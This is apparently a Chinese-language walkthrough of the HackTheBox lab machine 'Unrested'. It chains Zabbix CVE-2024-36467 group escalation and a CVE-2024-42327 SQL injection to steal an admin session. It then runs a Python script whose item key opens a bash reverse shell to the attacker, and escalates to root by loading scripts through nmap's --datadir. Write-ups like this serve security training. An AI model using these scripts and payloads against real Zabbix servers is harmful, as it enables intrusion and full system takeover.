Unrested

Machine Information

As is common in real life pentests, you will start the Unrested box with credentials for the following account on Zabbix: matthew / 96qzn0h2e1k3

image-20250215224430122

获取版本

image-20250216012000655

将session失效时间拉长

image-20250218020442892

根据版本检索发现几个CVE

CVE-2024-22120-RCE

CVE-2024-42327

cve-2024-42327

但都已失败告终

CVE-2024-36467: Unauthenticated User Gains Access to Group Management API in Zabbix Monitoring Tool

有一个exp模板

import requests
import json

url = "http://zabbix.example.com/api_jsonrpc.php";
headers = {"Content-Type": "application/json"}

# Authentication Request
data = {
    "jsonrpc": "2.",
    "method": "user.login",
    "params": {
        "user": "<username>",
        "password": "<password>"
    },
    "id": 1,
    "auth": None
}

response = requests.post(url, data=json.dumps(data), headers=headers)
result = response.json()
auth_token = result["result"]

# Update User Request, adding the user to specified groups
data["method"] = "user.update"
data["params"] = {
    "userid": "<target_user_id>",
    "usrgrps": [{"usrgrpid": "<group_id_1>"}, {"usrgrpid": "<group_id_2>"}]
}
data["auth"] = auth_token

response = requests.post(url, data=json.dumps(data), headers=headers)
result = response.json()
print(result)

关于zabbix user api接口的用法User

user.login

image-20250216035448085

以及增加"userData": true获取更多信息

image-20250216035511763

获取matthew信息,可以发现userid为3,前面应该还有admin

image-20250216035822566

md看好久英文文档发现原来有中文文档

尝试去使用user.getusergroup.get 方法获取用户列表,似乎该权限被撤销了,返回为空

image-20250216042825444

这也说明了为什么之前CVE-2024-42327利用失败了,其注入点位于 user.get 方法,而当前用户权限不足

image-20250216044136004

现在再利用CVE-2024-36467去加入用户组来提权

现在面临问题是,用户ID已知,而用户组ID未知

好在可以利用回显object does not exist来判断

image-20250216051225210

import requests
import json

url = "http://10.10.11.50/zabbix/api_jsonrpc.php";
headers = {"Content-Type": "application/json"}

# Authentication Request
data = {
    "jsonrpc": "2.0",
    "method": "user.login",
    "params": {
        "username": "matthew",
        "password": "96qzn0h2e1k3"
    },
    "id": 1,
    "auth": None
}

response = requests.post(url, data=json.dumps(data), headers=headers, proxies={"http":"127.0.0.1:8083"})
result = response.json()
print(result)
auth_token = result["result"]

# Update User Request, adding the user to specified groups
data["method"] = "user.update"
data["params"] = {
    "userid": "3",
    "usrgrps": [{"usrgrpid": 1}]
}
data["auth"] = auth_token

for i in range(100):
    data["params"]["usrgrps"][0]["usrgrpid"]=i
    response = requests.post(url, data=json.dumps(data), headers=headers)
    result = response.json()
    try:
        null = result["error"]["data"]
    except:
        print(f"usrgrps={i}: ",result)

发现7、8、11、13存在,不过只加入了最后一个组

image-20250216051533675

image-20250216052738847

将这几个组放一起update,即可加入所有组

"usrgrps": [{"usrgrpid": 7},{"usrgrpid": 8},{"usrgrpid": 11},{"usrgrpid": 13}]
{"jsonrpc":"2.0","result":[{"usrgrpid":"7","name":"Zabbix administrators","gui_access":"0","users_status":"0","debug_mode":"0","userdirectoryid":"0","mfa_status":"0","mfaid":"0"},{"usrgrpid":"8","name":"Guests","gui_access":"0","users_status":"0","debug_mode":"0","userdirectoryid":"0","mfa_status":"0","mfaid":"0"},{"usrgrpid":"11","name":"Enabled debug mode","gui_access":"0","users_status":"0","debug_mode":"1","userdirectoryid":"0","mfa_status":"0","mfaid":"0"},{"usrgrpid":"13","name":"Internal","gui_access":"1","users_status":"0","debug_mode":"0","userdirectoryid":"0","mfa_status":"0","mfaid":"0"}],"id":1}

依赖administrators组权限,就可以成功查看用户信息

image-20250216051758004

可以拿到admin hash,不过我们需要RCE

image-20250216053157614

利用BridgerAlderson/Zabbix-CVE-2024-42327-SQL-Injection-RCE: Zabbix CVE-2024-42327 PoC失败

应该是admin Session更新过快

image-20250216060441909

另一个POC详细说明了注入点compr00t/CVE-2024-42327: PoC for CVE-2024-42327 / ZBX-25623

image-20250217000933168

构造一个模板供sqlmap注入

POST /zabbix/api_jsonrpc.php HTTP/1.1
Host: 10.10.11.50
User-Agent: curl/8.11.0
Accept: */*
Content-Type: application/json
Content-Length: 222
Connection: keep-alive

{
  "jsonrpc": "2.0",
  "method": "user.get",
  "params": {
    "selectRole": ["roleid", "name", "type", "readonly *"],
    "userids": ["1","2"]
  },
  "id": 1,
  "auth": "92f0400832188d76fe953389f3ac3cfd"
}

网络问题,延迟注入好难成功,不过有了库和表

image-20250217034549811

看到这一篇【CVE machines】 htb Unrested wp | ❀言わぬが花❀发现可以直接注入直接拿到admin session

POST /zabbix/api_jsonrpc.php HTTP/1.1
Host: 10.10.11.50
Accept: */*
Content-Type: application/json
Content-Length: 222
Connection: keep-alive

{
  "jsonrpc": "2.0",
  "method": "user.get",
  "params": {
    "selectRole": ["type,(select group_concat(concat_ws(',',sessionid,userid,secret,'|')) FROM zabbix.sessions)"],
    "editable":1
  },
  "id": 1,
  "auth": "66944a991ccc2c04ff319b698907c99b"
}

image-20250217231454370

再拿BridgerAlderson/Zabbix-CVE-2024-42327-SQL-Injection-RCE: Zabbix CVE-2024-42327 PoC改一改直接用,相当于写了一个计划任务

import requests
import json

def get_host_ids(api_url, admin_session):
    """Retrieve current host IDs and their associated interface IDs."""
    payload = {
        "jsonrpc": "2.0",
        "method": "host.get",
        "params": {
            "output": ["hostid", "host"],
            "selectInterfaces": ["interfaceid"]
        },
        "auth": admin_session,
        "id": 1
    }
    response = requests.post(api_url, json=payload)
    if response.status_code == 200:
        try:
            response_json = response.json()
            print(f"host.get response: {response_json}")
            result = response_json.get("result", [])
            if result:
                host_id = result[0]["hostid"]
                interface_id = result[0]["interfaces"][0]["interfaceid"]
                return host_id, interface_id
            else:
                print("No hosts found in the response.")
                return None, None
        except Exception as e:
            print(f"Error parsing response: {str(e)}")
            return None, None
    else:
        print(f"Failed to retrieve host IDs. HTTP status code: {response.status_code}")
        return None, None


def send_reverse_shell_request(api_url, admin_session, lhost, lport, host_id, interface_id):
    """Send the reverse shell request to the target server."""
    payload = {
        "jsonrpc": "2.0",
        "method": "item.create",
        "params": {
            "name": "rce",
            "key_": f"system.run[bash -c \"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1\"]",
            "delay": 1,
            "hostid": host_id,
            "type": 0,
            "value_type": 1,
            "interfaceid": interface_id
        },
        "auth": admin_session,
        "id": 1
    }
    response = requests.post(api_url, json=payload)
    print(response.text)
if __name__ == "__main__":
    api_url="http://10.10.11.50/zabbix/api_jsonrpc.php"
    admin_session="bd0ff0c512bad7421bdf54dcb1c4b45c"
    lhost="10.10.16.35"
    lport="9999"
    host_id, interface_id = get_host_ids(api_url, admin_session)
    send_reverse_shell_request(api_url, admin_session, lhost, lport, host_id, interface_id)

弹上shell

image-20250217231830699

sudo -l查看权限

image-20250218004240851

nmap | GTFOBins中查找nmap的提权方法,发现无法执行

image-20250218004421697

发现是有过滤的

zabbix@unrested:/$ cat /bin/nmap
#!/bin/bash

#################################
## Restrictive nmap for Zabbix ##
#################################

# List of restricted options and corresponding error messages
declare -A RESTRICTED_OPTIONS=(
    ["--interactive"]="Interactive mode is disabled for security reasons."
    ["--script"]="Script mode is disabled for security reasons."
    ["-oG"]="Scan outputs in Greppable format are disabled for security reasons."
    ["-iL"]="File input mode is disabled for security reasons."
)

# Check if any restricted options are used
for option in "${!RESTRICTED_OPTIONS[@]}"; do
    if [[ "$*" == *"$option"* ]]; then
        echo "${RESTRICTED_OPTIONS[$option]}"
        exit 1
    fi
done

# Execute the original nmap binary with the provided arguments

nmap 带标签启动时会默认从 /usr/share/nmap 中加载脚本

image-20250218012724430

--datadir标签可以指定目录加载脚本执行

image-20250218015122798

image-20250218015304970

matthew:5d2f183844c23aa355c8d27703e6b015

root:61ba07d2570efe8ce2a4bf13ae5f9efa